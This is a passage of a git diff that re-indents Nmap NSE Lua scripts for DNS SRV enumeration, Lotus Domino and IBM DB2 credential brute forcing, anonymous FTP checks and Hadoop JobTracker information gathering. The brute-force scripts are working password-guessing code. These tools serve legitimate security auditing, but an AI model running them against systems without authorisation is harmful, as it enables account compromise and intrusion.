svc.name, svc.query + end end local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function parseSrvResponse(resp) - local i = 1 - if ( resp.answers ) then - table.sort(resp.answers, - function(a, b) - if ( a.SRV and b.SRV and a.SRV.prio and b.SRV.prio ) then - return a.SRV.prio < b.SRV.prio - end - end - ) - end - return function() - if ( not(resp.answers) or 0 == #resp.answers ) then return end - if ( not(resp.answers[i]) ) then - return - elseif ( resp.answers[i].SRV ) then - local srv = resp.answers[i].SRV - i = i + 1 - return srv.target, srv.port, srv.prio, srv.weight - end - end + local i = 1 + if ( resp.answers ) then + table.sort(resp.answers, + function(a, b) + if ( a.SRV and b.SRV and a.SRV.prio and b.SRV.prio ) then + return a.SRV.prio < b.SRV.prio + end + end + ) + end + return function() + if ( not(resp.answers) or 0 == #resp.answers ) then return end + if ( not(resp.answers[i]) ) then + return + elseif ( resp.answers[i].SRV ) then + local srv = resp.answers[i].SRV + i = i + 1 + return srv.target, srv.port, srv.prio, srv.weight + end + end end local function checkFilter(services) - if ( not(arg_filter) or "" == arg_filter or "all" == arg_filter ) then - return true - end - for name, queries in parseSvcList(services) do - if ( name == arg_filter ) then - return true - end - end - return false + if ( not(arg_filter) or "" == arg_filter or "all" == arg_filter ) then + return true + end + for name, queries in parseSvcList(services) do + if ( name == arg_filter ) then + return true + end + end + return false end local function doQuery(name, queries, result) - local condvar = nmap.condvar(result) - local svc_result = tab.new(4) - tab.addrow(svc_result, "service", "prio", "weight", "host") - for _, query in ipairs(queries) do - local fqdn = ("%s.%s"):format(query, arg_domain) - local status, resp = dns.query(fqdn, { dtype="SRV", retAll=true, retPkt=true } ) - for host, port, prio, weight in parseSrvResponse(resp) do - if target.ALLOW_NEW_TARGETS then - target.add(host) - end - local proto = query:sub(-3) - tab.addrow(svc_result, ("%d/%s"):format(port, proto), prio, weight, host) - end - end - if ( #svc_result ~= 1 ) then - table.insert(result, { name = name, tab.dump(svc_result) }) - end - condvar "signal" + local condvar = nmap.condvar(result) + local svc_result = tab.new(4) + tab.addrow(svc_result, "service", "prio", "weight", "host") + for _, query in ipairs(queries) do + local fqdn = ("%s.%s"):format(query, arg_domain) + local status, resp = dns.query(fqdn, { dtype="SRV", retAll=true, retPkt=true } ) + for host, port, prio, weight in parseSrvResponse(resp) do + if target.ALLOW_NEW_TARGETS then + target.add(host) + end + local proto = query:sub(-3) + tab.addrow(svc_result, ("%d/%s"):format(port, proto), prio, weight, host) + end + end + if ( #svc_result ~= 1 ) then + table.insert(result, { name = name, tab.dump(svc_result) }) + end + condvar "signal" end action = function(host) - local services = { - { name = "Active Directory Global Catalog", query = {"_gc._tcp"} }, - { name = "Exchange Autodiscovery", query = {"_autodiscover._tcp"} }, - { name = "Kerberos KDC Service", query = {"_kerberos._tcp", "_kerberos._udp"} }, - { name = "Kerberos Password Change Service", query = {"_kpasswd._tcp", "_kpasswd._udp"} }, - { name = "LDAP", query = {"_ldap._tcp"} }, - { name = "SIP", query = {"_sip._udp", "_sip._tcp"} }, - { name = "XMPP server-to-server", query = {"_xmpp-server._tcp"} }, - { name = "XMPP client-to-server", query = {"_xmpp-client._tcp"} }, - } + local services = { + { name = "Active Directory Global Catalog", query = {"_gc._tcp"} }, + { name = "Exchange Autodiscovery", query = {"_autodiscover._tcp"} }, + { name = "Kerberos KDC Service", query = {"_kerberos._tcp", "_kerberos._udp"} }, + { name = "Kerberos Password Change Service", query = {"_kpasswd._tcp", "_kpasswd._udp"} }, + { name = "LDAP", query = {"_ldap._tcp"} }, + { name = "SIP", query = {"_sip._udp", "_sip._tcp"} }, + { name = "XMPP server-to-server", query = {"_xmpp-server._tcp"} }, + { name = "XMPP client-to-server", query = {"_xmpp-client._tcp"} }, + } - if ( not(checkFilter(services)) ) then - return fail(("Invalid filter (%s) was supplied"):format(arg_filter)) - end + if ( not(checkFilter(services)) ) then + return fail(("Invalid filter (%s) was supplied"):format(arg_filter)) + end - local threads, result = {}, {} - for name, queries in parseSvcList(services) do - if ( not(arg_filter) or 0 == #arg_filter or - "all" == arg_filter or arg_filter == name ) then - local co = stdnse.new_thread(doQuery, name, queries, result) - threads[co] = true - end - end + local threads, result = {}, {} + for name, queries in parseSvcList(services) do + if ( not(arg_filter) or 0 == #arg_filter or + "all" == arg_filter or arg_filter == name ) then + local co = stdnse.new_thread(doQuery, name, queries, result) + threads[co] = true + end + end - local condvar = nmap.condvar(result) - repeat - for t in pairs(threads) do - if ( coroutine.status(t) == "dead" ) then threads[t] = nil end - end - if ( next(threads) ) then - condvar "wait" - end - until( next(threads) == nil ) + local condvar = nmap.condvar(result) + repeat + for t in pairs(threads) do + if ( coroutine.status(t) == "dead" ) then threads[t] = nil end + end + if ( next(threads) ) then + condvar "wait" + end + until( next(threads) == nil ) - table.sort(result, function(a,b) return a.name < b.name end) + table.sort(result, function(a,b) return a.name < b.name end) - return stdnse.format_output(true, result) + return stdnse.format_output(true, result) end diff --git a/scripts/domcon-brute.nse b/scripts/domcon-brute.nse index c40e4575a..213f36547 100644 --- a/scripts/domcon-brute.nse +++ b/scripts/domcon-brute.nse @@ -41,128 +41,128 @@ local not_admins = {} SocketPool = { - new = function(self, max_sockets) - local o = {} - setmetatable(o, self) - self.__index = self - o.max_sockets = max_sockets - o.pool = {} - return o - end, + new = function(self, max_sockets) + local o = {} + setmetatable(o, self) + self.__index = self + o.max_sockets = max_sockets + o.pool = {} + return o + end, - getSocket = function(self, host, port) - while(true) do - for i=1, #self.pool do - if ( not( self.pool[i].inuse ) ) then - self.pool[i].inuse = true - return self.pool[i].socket - end - end - if ( #self.pool < self.max_sockets ) then - local socket = nmap.new_socket() - local status = socket:connect( host.ip, port.number, "tcp") + getSocket = function(self, host, port) + while(true) do + for i=1, #self.pool do + if ( not( self.pool[i].inuse ) ) then + self.pool[i].inuse = true + return self.pool[i].socket + end + end + if ( #self.pool < self.max_sockets ) then + local socket = nmap.new_socket() + local status = socket:connect( host.ip, port.number, "tcp") - if ( status ) then - socket:reconnect_ssl() - end + if ( status ) then + socket:reconnect_ssl() + end - if ( status and socket ) then - table.insert( self.pool, {['socket'] = socket, ['inuse'] = false}) - end - end - stdnse.sleep(1) - end - end, + if ( status and socket ) then + table.insert( self.pool, {['socket'] = socket, ['inuse'] = false}) + end + end + stdnse.sleep(1) + end + end, - releaseSocket = function( self, socket ) - for i=1, #self.pool do - if( socket == self.pool[i].socket ) then - self.pool[i].inuse = false - break - end - end - end, + releaseSocket = function( self, socket ) + for i=1, #self.pool do + if( socket == self.pool[i].socket ) then + self.pool[i].inuse = false + break + end + end + end, - shutdown = function( self ) - for i=1, #self.pool do - self.pool[i].socket:close() - end - end, + shutdown = function( self ) + for i=1, #self.pool do + self.pool[i].socket:close() + end + end, } Driver = { - new = function(self, host, port, options) - local o = {} - setmetatable(o, self) - self.__index = self - o.host = host - o.port = port - o.sockpool = options - return o - end, + new = function(self, host, port, options) + local o = {} + setmetatable(o, self) + self.__index = self + o.host = host + o.port = port + o.sockpool = options + return o + end, - connect = function( self ) - self.socket = self.sockpool:getSocket( self.host, self.port ) + connect = function( self ) + self.socket = self.sockpool:getSocket( self.host, self.port ) - if ( self.socket ) then - return true - else - return false - end - end, + if ( self.socket ) then + return true + else + return false + end + end, - --- Attempts to login to the Lotus Domino Console - -- - -- @param username string containing the login username - -- @param password string containing the login password - -- @return status, true on success, false on failure - -- @return brute.Error object on failure - -- brute.Account object on success - login = function( self, username, password ) - local data = ("#UI %s,%s\n"):format(username,password) - local status + --- Attempts to login to the Lotus Domino Console + -- + -- @param username string containing the login username + -- @param password string containing the login password + -- @return status, true on success, false on failure + -- @return brute.Error object on failure + -- brute.Account object on success + login = function( self, username, password ) + local data = ("#UI %s,%s\n"):format(username,password) + local status - if ( not_admins[username] ) then - return false, brute.Error:new( "Incorrect password" ) - end + if ( not_admins[username] ) then + return false, brute.Error:new( "Incorrect password" ) + end - status, data = self.socket:send( data ) - if ( not(status) ) then - local err = brute.Error:new( data ) - err:setRetry(true) - return false, err - end + status, data = self.socket:send( data ) + if ( not(status) ) then + local err = brute.Error:new( data ) + err:setRetry(true) + return false, err + end - status, data = self.socket:receive_bytes(5) + status, data = self.socket:receive_bytes(5) - if ( status and data:match("NOT_REG_ADMIN") ) then - not_admins[username] = true - elseif( status and data:match("VALID_USER") ) then - return true, brute.Account:new( username, password, creds.State.VALID) - end + if ( status and data:match("NOT_REG_ADMIN") ) then + not_admins[username] = true + elseif( status and data:match("VALID_USER") ) then + return true, brute.Account:new( username, password, creds.State.VALID) + end - return false, brute.Error:new( "Incorrect password" ) + return false, brute.Error:new( "Incorrect password" ) - end, + end, - disconnect = function( self ) - self.sockpool:releaseSocket( self.socket ) - end, + disconnect = function( self ) + self.sockpool:releaseSocket( self.socket ) + end, } action = function(host, port) - local status, result - local pool = SocketPool:new(10) - local engine = brute.Engine:new(Driver, host, port, pool ) + local status, result + local pool = SocketPool:new(10) + local engine = brute.Engine:new(Driver, host, port, pool ) - engine.options.script_name = SCRIPT_NAME - status, result = engine:start() - pool:shutdown() + engine.options.script_name = SCRIPT_NAME + status, result = engine:start() + pool:shutdown() - return result + return result end diff --git a/scripts/drda-brute.nse b/scripts/drda-brute.nse index 0bac8a8de..5bf3ce0e7 100644 --- a/scripts/drda-brute.nse +++ b/scripts/drda-brute.nse @@ -46,16 +46,16 @@ portrule = shortport.port_or_service({50000,60000}, {"drda","ibm-db2"}, "tcp", { -- @return username string -- @return password string local function new_usrpwd_iterator (usernames, passwords) - local function next_username_password () - for username in usernames do - for password in passwords do - coroutine.yield(username, password) - end - passwords("reset") - end - while true do coroutine.yield(nil, nil) end - end - return coroutine.wrap(next_username_password) + local function next_username_password () + for username in usernames do + for password in passwords do + coroutine.yield(username, password) + end + passwords("reset") + end + while true do coroutine.yield(nil, nil) end + end + return coroutine.wrap(next_username_password) end --- Iterates over the password list and guesses passwords @@ -66,29 +66,29 @@ end -- @param creds an iterator producing username, password pairs -- @param valid_accounts table in which to store found accounts doLogin = function( host, port, database, creds, valid_accounts ) - local helper, status, response, passwords - local condvar = nmap.condvar( valid_accounts ) + local helper, status, response, passwords + local condvar = nmap.condvar( valid_accounts ) - for username, password in creds do - -- Checks if a password was already discovered for this account - if ( nmap.registry.db2users == nil or nmap.registry.db2users[username] == nil ) then - helper = drda.Helper:new() - helper:connect( host, port ) - stdnse.print_debug( "Trying %s/%s against %s...", username, password, host.ip ) - status, response = helper:login( database, username, password ) - helper:close() + for username, password in creds do + -- Checks if a password was already discovered for this account + if ( nmap.registry.db2users == nil or nmap.registry.db2users[username] == nil ) then + helper = drda.Helper:new() + helper:connect( host, port ) + stdnse.print_debug( "Trying %s/%s against %s...", username, password, host.ip ) + status, response = helper:login( database, username, password ) + helper:close() - if ( status ) then - -- Add credentials for future drda scripts to use - if nmap.registry.db2users == nil then - nmap.registry.db2users = {} - end - nmap.registry.db2users[username]=password - table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "" ) ) - end - end - end - condvar("broadcast") + if ( status ) then + -- Add credentials for future drda scripts to use + if nmap.registry.db2users == nil then + nmap.registry.db2users = {} + end + nmap.registry.db2users[username]=password + table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "" ) ) + end + end + end + condvar("broadcast") end --- Checks if the supplied database exists @@ -98,18 +98,18 @@ end -- @param database string containing the database name -- @return status true on success, false on failure isValidDb = function( host, port, database ) - local status, response - local helper = drda.Helper:new() + local status, response + local helper = drda.Helper:new() - helper:connect( host, port ) - -- Authenticate with a static probe account to see if the db is valid - status, response = helper:login( database, "dbnameprobe1234", "dbnameprobe1234" ) - helper:close() + helper:connect( host, port ) + -- Authenticate with a static probe account to see if the db is valid + status, response = helper:login( database, "dbnameprobe1234", "dbnameprobe1234" ) + helper:close() - if ( not(status) and response:match("Login failed") ) then - return true - end - return false + if ( not(status) and response:match("Login failed") ) then + return true + end + return false end --- Returns the amount of currenlty active threads @@ -117,57 +117,57 @@ end -- @param threads table containing the list of threads -- @return count number containing the number of non-dead threads threadCount = function( threads ) - local count = 0 + local count = 0 - for thread in pairs(threads) do - if ( coroutine.status(thread) == "dead" ) then - threads[thread] = nil - else - count = count + 1 - end - end - return count + for thread in pairs(threads) do + if ( coroutine.status(thread) == "dead" ) then + threads[thread] = nil + else + count = count + 1 + end + end + return count end action = function( host, port ) - local result, response, status = {}, nil, nil - local valid_accounts, threads = {}, {} - local usernames, passwords, creds - local database = stdnse.get_script_args('drda-brute.dbname') or "SAMPLE" - local condvar = nmap.condvar( valid_accounts ) - local max_threads = stdnse.get_script_args('drda-brute.threads') and tonumber( stdnse.get_script_args('drda-brute.threads') ) or 10 + local result, response, status = {}, nil, nil + local valid_accounts, threads = {}, {} + local usernames, passwords, creds + local database = stdnse.get_script_args('drda-brute.dbname') or "SAMPLE" + local condvar = nmap.condvar( valid_accounts ) + local max_threads = stdnse.get_script_args('drda-brute.threads') and tonumber( stdnse.get_script_args('drda-brute.threads') ) or 10 - -- Check if the DB specified is valid - if( not(isValidDb(host, port, database)) ) then - return ("The databases %s was not found. (Use --script-args drda-brute.dbname= to specify database)"):format(database) - end + -- Check if the DB specified is valid + if( not(isValidDb(host, port, database)) ) then + return ("The databases %s was not found. (Use --script-args drda-brute.dbname= to specify database)"):format(database) + end - status, usernames = unpwdb.usernames() - if ( not(status) ) then - return "Failed to load usernames" - end + status, usernames = unpwdb.usernames() + if ( not(status) ) then + return "Failed to load usernames" + end - -- make sure we have a valid pw file - status, passwords = unpwdb.passwords() - if ( not(status) ) then - return "Failed to load passwords" - end + -- make sure we have a valid pw file + status, passwords = unpwdb.passwords() + if ( not(status) ) then + return "Failed to load passwords" + end - creds = new_usrpwd_iterator( usernames, passwords ) + creds = new_usrpwd_iterator( usernames, passwords ) - stdnse.print_debug("Starting brute force with %d threads", max_threads ) + stdnse.print_debug("Starting brute force with %d threads", max_threads ) - for i=1,max_threads do - local co = stdnse.new_thread( doLogin, host, port, database, creds, valid_accounts ) - threads[co] = true - end + for i=1,max_threads do + local co = stdnse.new_thread( doLogin, host, port, database, creds, valid_accounts ) + threads[co] = true + end - -- wait for all threads to finnish running - while threadCount(threads)>0 do - condvar("wait") - end + -- wait for all threads to finnish running + while threadCount(threads)>0 do + condvar("wait") + end - return stdnse.format_output(true, valid_accounts) + return stdnse.format_output(true, valid_accounts) end diff --git a/scripts/ftp-anon.nse b/scripts/ftp-anon.nse index 13f7d0e27..c0c894170 100644 --- a/scripts/ftp-anon.nse +++ b/scripts/ftp-anon.nse @@ -44,147 +44,147 @@ portrule = shortport.port_or_service(21, "ftp") -- list sent. -- --------------------- local function list(socket, target, max_lines) - local status, err + local status, err - -- ask the server for a Passive Mode: it should give us a port to - -- listen to, where it will dump the directory listing - local buffer = stdnse.make_buffer(socket, "\r?\n") - status, err = socket:send("PASV\r\n") - if not status then - return status, err - end - local code, message = ftp.read_reply(buffer) + -- ask the server for a Passive Mode: it should give us a port to + -- listen to, where it will dump the directory listing + local buffer = stdnse.make_buffer(socket, "\r?\n") + status, err = socket:send("PASV\r\n") + if not status then + return status, err + end + local code, message = ftp.read_reply(buffer) - -- Compute the PASV port as given by the server - -- The server should answer with something like - -- 2xx Entering Passive Mode (a,b,c,d,hp,lp) - -- (-- IP--,PORT) - -- PORT is (hp x 256) + lp - local high, low = string.match(message, "%(%d+,%d+,%d+,%d+,(%d+),(%d+)%)") - if not high then - return nil, string.format("Can't parse PASV response: %q", message) - end + -- Compute the PASV port as given by the server + -- The server should answer with something like + -- 2xx Entering Passive Mode (a,b,c,d,hp,lp) + -- (-- IP--,PORT) + -- PORT is (hp x 256) + lp + local high, low = string.match(message, "%(%d+,%d+,%d+,%d+,(%d+),(%d+)%)") + if not high then + return nil, string.format("Can't parse PASV response: %q", message) + end - local pasv_port = high * 256 + low + local pasv_port = high * 256 + low - -- Send the LIST command on the commands socket. "Fire and forget"; we - -- don't need to take care of the answer on this socket. - status, err = socket:send("LIST\r\n") - if not status then - return status, err - end + -- Send the LIST command on the commands socket. "Fire and forget"; we + -- don't need to take care of the answer on this socket. + status, err = socket:send("LIST\r\n") + if not status then + return status, err + end - local list_socket = nmap.new_socket() - status, err = list_socket:connect(target, pasv_port, "tcp") - if not status then - return status, err - end + local list_socket = nmap.new_socket() + status, err = list_socket:connect(target, pasv_port, "tcp") + if not status then + return status, err + end - local listing = {} - while not max_lines or #listing < max_lines do - local status, data = list_socket:receive_buf("\r?\n", false) - if (not status and data == "EOF") or data == "" then - break - end - if not status then - return status, data - end - listing[#listing + 1] = data - end + local listing = {} + while not max_lines or #listing < max_lines do + local status, data = list_socket:receive_buf("\r?\n", false) + if (not status and data == "EOF") or data == "" then + break + end + if not status then + return status, data + end + listing[#listing + 1] = data + end - return true, listing + return true, listing end --- Connects to the FTP server and checks if the server allows anonymous logins. action = function(host, port) - local socket = nmap.new_socket() - local code, message - local err_catch = function() - socket:close() - end + local socket = nmap.new_socket() + local code, message + local err_catch = function() + socket:close() + end - local max_list = stdnse.get_script_args("ftp-anon.maxlist") - if not max_list then - if nmap.verbosity() == 0 then - max_list = 20 - else - max_list = nil - end - else - max_list = tonumber(max_list) - if max_list < 0 then - max_list = nil - end - end + local max_list = stdnse.get_script_args("ftp-anon.maxlist") + if not max_list then + if nmap.verbosity() == 0 then + max_list = 20 + else + max_list = nil + end + else + max_list = tonumber(max_list) + if max_list < 0 then + max_list = nil + end + end - local try = nmap.new_try(err_catch) + local try = nmap.new_try(err_catch) - try(socket:connect(host, port)) - local buffer = stdnse.make_buffer(socket, "\r?\n") + try(socket:connect(host, port)) + local buffer = stdnse.make_buffer(socket, "\r?\n") - -- Read banner. - code, message = ftp.read_reply(buffer) - if code and code == 220 then - try(socket:send("USER anonymous\r\n")) - code, message = ftp.read_reply(buffer) - if code == 331 then - -- 331: User name okay, need password. - try(socket:send("PASS IEUser@\r\n")) - code, message = ftp.read_reply(buffer) - end + -- Read banner. + code, message = ftp.read_reply(buffer) + if code and code == 220 then + try(socket:send("USER anonymous\r\n")) + code, message = ftp.read_reply(buffer) + if code == 331 then + -- 331: User name okay, need password. + try(socket:send("PASS IEUser@\r\n")) + code, message = ftp.read_reply(buffer) + end - if code == 332 then - -- 332: Need account for login. - -- This is rarely seen but may come in response to a - -- USER or PASS command. As we're doing this - -- anonymously, send back a blank ACCT. - try(socket:send("ACCT\r\n")) - code, message = ftp.read_reply(buffer) - if code == 331 then - -- 331: User name okay, need password. - try(socket:send("PASS IEUser@\r\n")) - code, message = ftp.read_reply(buffer) - end - end - end + if code == 332 then + -- 332: Need account for login. + -- This is rarely seen but may come in response to a + -- USER or PASS command. As we're doing this + -- anonymously, send back a blank ACCT. + try(socket:send("ACCT\r\n")) + code, message = ftp.read_reply(buffer) + if code == 331 then + -- 331: User name okay, need password. + try(socket:send("PASS IEUser@\r\n")) + code, message = ftp.read_reply(buffer) + end + end + end - if code and code >= 200 and code < 300 then - -- We are primarily looking for 230: User logged in, proceed. - else - if not code then - stdnse.print_debug(1, "ftp-anon: got socket error %q.", message) - elseif code == 421 or code == 530 then - -- Don't log known error codes. - -- 421: Service not available, closing control connection. - -- 530: Not logged in. - else - stdnse.print_debug(1, "ftp-anon: got code %d %q.", code, message) - end - return nil - end + if code and code >= 200 and code < 300 then + -- We are primarily looking for 230: User logged in, proceed. + else + if not code then + stdnse.print_debug(1, "ftp-anon: got socket error %q.", message) + elseif code == 421 or code == 530 then + -- Don't log known error codes. + -- 421: Service not available, closing control connection. + -- 530: Not logged in. + else + stdnse.print_debug(1, "ftp-anon: got code %d %q.", code, message) + end + return nil + end - local result = {} - result[#result + 1] = "Anonymous FTP login allowed (FTP code " .. code .. ")" + local result = {} + result[#result + 1] = "Anonymous FTP login allowed (FTP code " .. code .. ")" - if not max_list or max_list > 0 then - local status, listing = list(socket, host, max_list) - socket:close() + if not max_list or max_list > 0 then + local status, listing = list(socket, host, max_list) + socket:close() - if not status then - result[#result + 1] = "Can't get directory listing: " .. listing - else - for _, item in ipairs(listing) do - -- Just a quick passive check on user rights. - if string.match(item, "^[d-].......w.") then - item = item .. " [NSE: writeable]" - end - result[#result + 1] = item - end - if max_list and #listing == max_list then - result[#result + 1] = string.format("Only %d shown. Use --script-args %s.maxlist=-1 to see all.", #listing, SCRIPT_NAME) - end - end - end + if not status then + result[#result + 1] = "Can't get directory listing: " .. listing + else + for _, item in ipairs(listing) do + -- Just a quick passive check on user rights. + if string.match(item, "^[d-].......w.") then + item = item .. " [NSE: writeable]" + end + result[#result + 1] = item + end + if max_list and #listing == max_list then + result[#result + 1] = string.format("Only %d shown. Use --script-args %s.maxlist=-1 to see all.", #listing, SCRIPT_NAME) + end + end + end - return table.concat(result, "\n") + return table.concat(result, "\n") end diff --git a/scripts/hadoop-jobtracker-info.nse b/scripts/hadoop-jobtracker-info.nse index 46542fe48..9ecec188d 100644 --- a/scripts/hadoop-jobtracker-info.nse +++ b/scripts/hadoop-jobtracker-info.nse @@ -53,116 +53,116 @@ categories = {"default", "discovery", "safe"} portrule = function(host, port) - -- Run for the special port number, or for any HTTP-like service that is - -- not on a usual HTTP port. - return shortport.port_or_service ({50030}, "hadoop-jobtracker")(host, port) - or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port)) + -- Run for the special port number, or for any HTTP-like service that is + -- not on a usual HTTP port. + return shortport.port_or_service ({50030}, "hadoop-jobtracker")(host, port) + or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port)) end get_userhistory = function( host, port ) - local results = {} - local uri = "/jobhistory.jsp?pageno=-1&search=" - stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) - local response = http.get( host, port, uri ) - stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) - if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then - local body = response['body']:gsub("%%","%%%%") - stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) - for line in string.gmatch(body, "[^\n]+") do - stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line)) - if line:match("job_[%d_]+") then - local user = line:match("([^][<>]+)") - local job_time = line:match("([^][<]+)") - stdnse.print_debug(1, ("%s: User: %s (%s)"):format(SCRIPT_NAME,user,job_time)) - table.insert( results, ("User: %s (%s)"):format(user,job_time)) - end - end - end - return results + local results = {} + local uri = "/jobhistory.jsp?pageno=-1&search=" + stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) + local response = http.get( host, port, uri ) + stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) + if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then + local body = response['body']:gsub("%%","%%%%") + stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) + for line in string.gmatch(body, "[^\n]+") do + stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line)) + if line:match("job_[%d_]+") then + local user = line:match("([^][<>]+)") + local job_time = line:match("([^][<]+)") + stdnse.print_debug(1, ("%s: User: %s (%s)"):format(SCRIPT_NAME,user,job_time)) + table.insert( results, ("User: %s (%s)"):format(user,job_time)) + end + end + end + return results end get_tasktrackers = function( host, port ) - local results = {} - local uri = "/machines.jsp?type=active" - stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) - local response = http.get( host, port, uri ) - stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) - if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then - stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body'])) - for line in string.gmatch(response['body'], "[^\n]+") do - stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line)) - if line:match("href=\"[%w]+://([%w%.:]+)/\">tracker") then - local tasktracker = line:match("href=\".*//([%w%.:]+)/\">tracker") - stdnse.print_debug(1, ("%s: taskstracker %s"):format(SCRIPT_NAME,tasktracker)) - table.insert( results, tasktracker) - if target.ALLOW_NEW_TARGETS then - if tasktracker:match("([%w%.]+)") then - local newtarget = tasktracker:match("([%w%.]+)") - stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget)) - local status,err = target.add(newtarget) - end - end - end - end - end - return results + local results = {} + local uri = "/machines.jsp?type=active" + stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) + local response = http.get( host, port, uri ) + stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) + if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then + stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body'])) + for line in string.gmatch(response['body'], "[^\n]+") do + stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line)) + if line:match("href=\"[%w]+://([%w%.:]+)/\">tracker") then + local tasktracker = line:match("href=\".*//([%w%.:]+)/\">tracker") + stdnse.print_debug(1, ("%s: taskstracker %s"):format(SCRIPT_NAME,tasktracker)) + table.insert( results, tasktracker) + if target.ALLOW_NEW_TARGETS then + if tasktracker:match("([%w%.]+)") then + local newtarget = tasktracker:match("([%w%.]+)") + stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget)) + local status,err = target.add(newtarget) + end + end + end + end + end + return results end action = function( host, port ) - local result = {} - local uri = "/jobtracker.jsp" - stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) - local response = http.get( host, port, uri ) - stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) - if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then - stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body'])) - if response['body']:match("State:%s*([^][<]+)") then - local state = response['body']:match("State:%s*([^][<]+)") - stdnse.print_debug(1, ("%s: State %s"):format(SCRIPT_NAME,state)) - table.insert(result, ("State: %s"):format(state)) - end - if response['body']:match("Started:%s*([^][<]+)") then - local started = response['body']:match("Started:%s*([^][<]+)") - stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,started)) - table.insert(result, ("Started: %s"):format(started)) - end - if response['body']:match("Version:%s*([^][<]+)") then - local version = response['body']:match("Version:%s*([^][<]+)") - local versionNo = version:match("([^][,]+)") - local versionHash = version:match("[^][,]+%s+(%w+)") - stdnse.print_debug(1, ("%s: Version %s (%s)"):format(SCRIPT_NAME,versionNo,versionHash)) - table.insert(result, ("Version: %s (%s)"):format(versionNo,versionHash)) - port.version.version = versionNo - end - if response['body']:match("Compiled:%s*([^][<]+)") then - local compiled = response['body']:match("Compiled:%s*([^][<]+)"):gsub("%s+", " ") - stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled)) - table.insert(result, ("Compiled: %s"):format(compiled)) - end - if response['body']:match("Identifier:%s*([^][<]+)") then - local identifier = response['body']:match("Identifier:%s*([^][<]+)") - stdnse.print_debug(1, ("%s: Identifier %s"):format(SCRIPT_NAME,identifier)) - table.insert(result, ("Identifier: %s"):format(identifier)) - end - if response['body']:match("([%w/]+)\">Log<") then - local logfiles = response['body']:match("([%w/-_:%%]+)\">Log<") - stdnse.print_debug(1, ("%s: Log Files %s"):format(SCRIPT_NAME,logfiles)) - table.insert(result, ("Log Files: %s"):format(logfiles)) - end - local tasktrackers = get_tasktrackers (host, port) - if next(tasktrackers) then - table.insert(result, "Tasktrackers: ") - table.insert(result, tasktrackers) - end - if stdnse.get_script_args('hadoop-jobtracker-info.userinfo') then - local userhistory = get_userhistory (host, port) - table.insert(result, "Userhistory: ") - table.insert(result, userhistory) - end - if #result > 0 then - port.version.name = "hadoop-jobtracker" - port.version.product = "Apache Hadoop" - nmap.set_port_version(host, port) - end - return stdnse.format_output(true, result) - end + local result = {} + local uri = "/jobtracker.jsp" + stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) + local response = http.get( host, port, uri ) + stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) + if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then + stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body'])) + if response['body']:match("State:%s*([^][<]+)") then + local state = response['body']:match("State:%s*([^][<]+)") + stdnse.print_debug(1, ("%s: State %s"):format(SCRIPT_NAME,state)) + table.insert(result, ("State: %s"):format(state)) + end + if response['body']:match("Started:%s*([^][<]+)") then + local started = response['body']:match("Started:%s*([^][<]+)") + stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,started)) + table.insert(result, ("Started: %s"):format(started)) + end + if response['body']:match("Version:%s*([^][<]+)") then + local version = response['body']:match("Version:%s*([^][<]+)") + local versionNo = version:match("([^][,]+)") + local versionHash = version:match("[^][,]+%s+(%w+)") + stdnse.print_debug(1, ("%s: Version %s (%s)"):format(SCRIPT_NAME,versionNo,versionHash)) + table.insert(result, ("Version: %s (%s)"):format(versionNo,versionHash)) + port.version.version = versionNo + end + if response['body']:match("Compiled:%s*([^][<]+)") then + local compiled = response['body']:match("Compiled:%s*([^][<]+)"):gsub("%s+", " ") + 